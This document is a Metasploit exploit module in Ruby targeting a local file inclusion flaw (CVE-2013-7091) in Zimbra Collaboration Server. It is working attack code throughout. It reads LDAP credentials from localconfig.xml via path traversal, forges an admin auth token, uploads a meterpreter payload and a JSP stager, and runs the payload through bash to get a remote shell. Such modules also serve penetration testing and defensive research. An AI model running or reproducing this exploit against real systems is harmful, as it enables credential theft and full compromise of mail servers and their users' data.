Zimbra Collaboration Server LFI

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rexml/document'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include REXML  
  
Rank = ExcellentRanking  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Zimbra Collaboration Server LFI',  
'Description' => %q{  
This module exploits a local file inclusion on Zimbra 8.0.2 and 7.2.2. The vulnerability  
allows an attacker to get the LDAP credentials from the localconfig.xml file. The stolen  
credentials allow the attacker to make requests to the service/admin/soap API. This can  
then be used to create an authentication token for the admin web interface. This access  
can be used to achieve remote code execution. This module has been tested on Zimbra  
Collaboration Server 8.0.2 with Ubuntu Server 12.04.  
},  
'Author' =>  
[  
'rubina119', # Vulnerability discovery  
'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-7091' ],  
[ 'OSVDB', '100747' ],  
[ 'BID', '64149' ],  
[ 'EDB', '30085' ],  
[ 'URL', 'http://cxsecurity.com/issue/WLB-2013120097' ]  
],  
'Privileged' => false,  
'Platform' => ['linux'],  
'Targets' =>  
[  
[ 'Zimbra 8.0.2 / Linux',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux'  
}  
],  
],  
'DefaultOptions' =>  
{  
'SSL' => true  
},  
'DefaultTarget' => 0,  
'DisclosureDate' => "Dec 06 2013"  
))  
register_options(  
[  
Opt::RPORT(7071),  
OptString.new('TARGETURI', [true, 'Path to zimbraAdmin web application', '/zimbraAdmin']),  
OptInt.new('DEPTH', [true, 'Traversal depth until to reach the root path', 9]),  
OptString.new('ZIMBRADIR', [true, 'Zimbra installation path on the target filesystem (/opt/zimbra by default)', '/opt/zimbra'])  
])  
end  
  
def check  
res = send_traversal_query(traversal_path("conf/localconfig.xml"))  
  
unless res and res.code == 200  
return Exploit::CheckCode::Safe  
end  
  
#this response is ~100% gzipped  
begin  
text = Rex::Text.ungzip(res.body)  
rescue Zlib::GzipFile::Error  
text = res.body  
end  
  
if text =~ /name=\\"zimbra_user\\">";\sa\["<value>(.*)<\/value>/  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
print_status("#{peer} - Getting login credentials...")  
res = send_traversal_query(traversal_path("conf/localconfig.xml"))  
  
unless res and res.code == 200  
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")  
end  
  
#this response is ~100% gzipped  
begin  
text = Rex::Text.ungzip(res.body)  
rescue Zlib::GzipFile::Error  
text = res.body.to_s  
end  
  
if text =~ /name=\\"zimbra_user\\">";\sa\["<value>(.*)<\/value>/  
zimbra_user = $1  
else  
fail_with(Failure::Unknown, "#{peer} - Unable to get login credentials")  
end  
  
if text =~ /name=\\"zimbra_ldap_password\\">";\sa\["<value>(.*)<\/value>/  
zimbra_pass = $1  
else  
fail_with(Failure::Unknown, "#{peer} - Unable to get login credentials")  
end  
  
print_good("#{peer} - Got login credentials!")  
print_status("#{peer} - Getting auth token...")  
  
soap_req = build_soap_req(zimbra_user, zimbra_pass) #lets get our hands foamy  
  
res = send_request_cgi({  
'uri' => normalize_uri("service", "admin", "soap"),  
'method' => 'POST',  
'ctype' => 'application/soap+xml; charset="utf-8"',  
'headers' =>  
{  
'SOAPAction' => '"urn:zimbraAdmin#AuthRequest"',  
},  
'data' => soap_req  
})  
  
unless res and res.code == 200  
fail_with(Failure::Unknown, "#{peer} - Unable to access service URL")  
end  
  
if res.body.to_s =~ /<authToken>(.*)<\/authToken>/  
auth_token = $1  
else  
fail_with(Failure::Unknown, "#{peer} - Unable to get auth token")  
end  
  
@cookie = "ZM_ADMIN_AUTH_TOKEN=#{auth_token}"  
print_good("#{peer} - Got auth token!")  
  
#the initial POC for this vuln shows user creation with admin rights for the web interface, thats cool but a shell is even cooler  
#the web interface has a function to upload the latest version of the desktop client via /service/extension/clientUploader/upload/  
#the intent is for a ZCO file, whatever that is. However any file will do and it's placed in /downloads/ which we can reach, how handy!  
  
#push our meterpreter and then a stager jsp file that sets correct permissions, executes the meterpreter and removes itself afterwards  
payload_name = rand_text_alpha(8+rand(8))  
stager_name = rand_text_alpha(8+rand(8)) + ".jsp"  
  
stager = gen_stager(payload_name)  
payload_elf = generate_payload_exe  
  
#upload payload  
print_status("#{peer} - Uploading payload")  
res = upload_file(payload_name, payload_elf)  
  
unless res and res.code == 200  
fail_with(Failure::Unknown, "#{peer} - Unable to get upload payload")  
end  
  
#upload jsp stager  
print_status("#{peer} - Uploading jsp stager")  
res = upload_file(stager_name, stager)  
  
unless res and res.code == 200  
fail_with(Failure::Unknown, "#{peer} - Unable to upload stager")  
end  
  
register_files_for_cleanup(  
"../jetty/webapps/zimbra/downloads/#{stager_name}",  
"../jetty/webapps/zimbra/downloads/#{payload_name}"  
)  
  
print_status("#{peer} - Executing payload on /downloads/#{stager_name}")  
  
res = send_request_cgi({  
'uri' => normalize_uri("downloads", stager_name),  
'method' => 'GET',  
})  
end  
  
def traversal_path(file_name)  
::File.join(  
"../" * datastore['DEPTH'],  
datastore['ZIMBRADIR'],  
file_name  
)  
end  
  
def send_traversal_query(traversal)  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "res", "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz"),  
'method' => 'GET',  
'encode_params' => false,  
'vars_get' => {  
'v' => "091214175450",  
'skin' => "#{traversal}%00"  
}  
})  
  
return res  
end  
  
def upload_file(file_name, data)  
req_id = rand_text_numeric(2).to_s  
  
post_data = Rex::MIME::Message.new  
post_data.add_part("#{file_name}", nil, nil, "form-data; name=\"filename1\"")  
post_data.add_part("#{data}", "application/octet-stream", nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"")  
post_data.add_part("#{req_id}", nil, nil, "form-data; name=\"requestId\"")  
  
n_data = post_data.to_s  
n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')  
  
res = send_request_cgi({  
'uri' => normalize_uri("service", "extension", "clientUploader", "upload"),  
'method' => 'POST',  
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,  
'data' => n_data,  
'cookie' => @cookie  
})  
  
return res  
end  
  
def build_soap_req(zimbra_user, zimbra_pass)  
xml = Document.new  
soap_var = "ns1:AuthRequest"  
  
xml.add_element(  
"soapenv:Envelope",  
{  
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",  
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",  
'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",  
'xmlns:ser' => "http://service.emulation.ws.mercury.com",  
'xmlns:env' => "http://www.w3.org/2003/05/soap-envelope",  
'xmlns:ns1' => "urn:zimbraAdmin",  
'xmlns:ns2' => "urn:zimbraAdmin",  
})  
  
xml.root.add_element("soapenv:Header")  
xml.root.add_element("soapenv:Body")  
  
header = xml.root.elements[1]  
body = xml.root.elements[2]  
  
header.add_element("ns2:context")  
body.add_element("ns1:AuthRequest")  
  
ns1 = body.elements[1]  
ns1.add_element(  
"account",  
{  
'by' => "name"  
})  
  
ns1.add_element("password")  
  
ns1.elements["account"].text = "#{zimbra_user}"  
ns1.elements["password"].text = "#{zimbra_pass}"  
  
return xml.to_s  
end  
  
def gen_stager(payload_name)  
stager = "<%@ page import=\"java.util.*,java.io.*\"%>"  
stager += " <%"  
stager += " String uri = request.getRequestURI();"  
stager += " String filename = uri.substring(uri.lastIndexOf(\"/\")+1);"  
stager += " String jspfile = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \"/\" + filename;"  
stager += " String payload = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \"/#{payload_name}\";"  
stager += " Process p = Runtime.getRuntime().exec(\"chmod 700 \" + payload);"  
stager += " p.waitFor();"  
stager += " p = Runtime.getRuntime().exec(\"bash -c '\" + payload + \"'\");"  
stager += "%>"  
  
return stager  
end  
end  
`